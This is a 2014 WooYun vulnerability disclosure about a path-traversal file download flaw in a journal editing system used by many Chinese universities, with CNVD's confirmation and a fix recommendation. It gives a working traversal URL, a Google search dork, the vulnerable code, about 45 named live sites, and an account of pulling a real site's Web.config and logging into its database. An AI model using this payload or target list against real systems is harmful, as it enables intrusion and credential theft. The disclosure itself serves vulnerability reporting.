当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-066795

漏洞标题:多所高校和科研机构某系统任意文件下载漏洞

相关厂商:cncert国家互联网应急中心

漏洞作者: blackexp

提交时间:2014-07-03 11:44

修复时间:2014-10-01 11:46

公开时间:2014-10-01 11:46

漏洞类型:任意文件遍历/下载

危害等级:高

自评Rank:20

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-07-03: 细节已通知厂商并且等待厂商处理中
2014-07-08: 厂商已经确认,细节仅向厂商公开
2014-07-11: 细节向第三方安全合作伙伴开放
2014-09-01: 细节向核心白帽子及相关领域专家公开
2014-09-11: 细节向普通白帽子公开
2014-09-21: 细节向实习白帽子公开
2014-10-01: 细节向公众公开

简要描述:

如题

详细说明:

三才期刊采编系统 存在任意文件下载漏洞
示例:http://www.jdxb.cn/oa/pdfdow.aspx?Type=pdf&FileName=../../Web.config
Google: inurl:/oa/pdfdow.aspx?Type=pdf

Google结果.png


问题代码:/oa/pdfdow.aspx.cs

else if (Request.QueryString["Type"] == "pdf")
{
if (!string.IsNullOrEmpty(Request.QueryString["FileName"]))
{
string openulr = Server.MapPath(strPath + "/" + Request.QueryString["FileName"].ToString());
if (File.Exists(openulr))
{
System.IO.Stream iStream = null;
// Buffer to read 10K bytes in chunk:
byte[] buffer = new Byte[1000000];
// Length of the file:
int length;
// Total bytes to read:
long dataToRead;
string filepath = openulr;
// Identify the file name.
string filetype = System.IO.Path.GetFileName(filepath);
try
{
// Open the file.
iStream = new System.IO.FileStream(filepath, System.IO.FileMode.Open,
System.IO.FileAccess.Read, System.IO.FileShare.Read);
// Total bytes to read:
dataToRead = iStream.Length;
Response.ContentType = "application/octet-stream";
Response.AddHeader("Content-Disposition", "attachment; filename=" + HttpUtility.UrlEncode(Request.QueryString["FileName"].ToString(), Encoding.UTF8).ToString().Trim());
// Read the bytes.
while (dataToRead > 0)
{
// Verify that the client is connected.
if (Response.IsClientConnected)
{
// Read the data in buffer.
length = iStream.Read(buffer, 0, 1000000);
// Write the data to the current output stream.
Response.OutputStream.Write(buffer, 0, length);
// Flush the data to the HTML output.
Response.Flush();
buffer = new Byte[1000000];
dataToRead = dataToRead - length;
}
else
{
//prevent infinite loop if user disconnects
dataToRead = -1;
}
}
}
catch (Exception ex)
{
// Trap the error, if any.
Response.Write("Error : " + ex.Message);
}
finally
{
if (iStream != null)
{
//Close the file.
iStream.Close();
Response.End();
}
}
}
}
}
base.OnLoad(e);
}
}
}


没有对参数:FileName 进行过滤,直接返回文件。
涉及的网站:
http://tis.hrbeu.edu.cn
http://www.cjebm.org.cn
http://xbskb.ysu.edu.cn
http://www.j-smu.com
http://www.hxyxqk.com.cn
http://heuxb.hrbeu.edu.cn
http://lkkf.njfu.edu.cn
http://www.psytxjx.com
http://www.xfcjwkzazhi.cn
http://www.zgpwzz.com
http://jee.ieecas.cn
http://xxzz.cintcm.com
http://www.ydsjjs.com
http://yxxb.xjtu.edu.cn
http://jxyj.ysu.edu.cn
http://xb.hznu.edu.cn
http://emc.hrbust.edu.cn
http://www.zgxxwkzz.com
http://www.syfsxzz.com.cn
http://gjzy.cintcm.com
http://www.cjam.net.cn
http://www.qbzz.org
http://www.cibj.com
http://www.zgmnwk.com
http://xbskb.jssvc.edu.cn
http://www.jwit.org.cn
http://xbskb.jssvc.edu.cn
http://xbzrb.tjujournals.com
http://www.cjcep.com
http://www.fmmuxb.cn
http://dlxb.nefu.edu.cn
http://qhxb.lib.tsinghua.edu.cn
http://slgc.nefu.edu.cn
http://jjlyj.csuft.edu.cn
http://hlgxb.hrbust.edu.cn
http://www.cjrccm.com
http://xbzkb.jssvc.edu.cn
http://xuebao.ysu.edu.cn
http://www.ddgzyckx.com
http://www.lsjg.cn
http://jhau.paperopen.com
http://skxb.csuft.edu.cn
http://zgwstj.paperonce.org
http://nldxb.njfu.edu.cn
http://xuebao.zjc.edu.cn
http://journal.lut.cn
官方也给出客户列表,但有些站已关闭

1.png


2.png


.png


漏洞证明:

找一个网站近一步测试
xbskb.jssvc.edu.cn
下载网站配置文件:http://xbskb.jssvc.edu.cn/oa/pdfdow.aspx?Type=pdf&FileName=../../Web.config
找到数据库信息

.png


数据库连的是本机,正好其1433端口对外开放,连之

 注册.png


修复方案:

对文件读取目录做限制,且对FileName做过滤

版权声明:转载请注明来源 blackexp@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2014-07-08 10:59

厂商回复:

CNVD确认并复现所述情况(验证情况由上海交通大学协助完成),后续根据测实例例情况转报给教育网应急组织统一处置。

最新状态:

暂无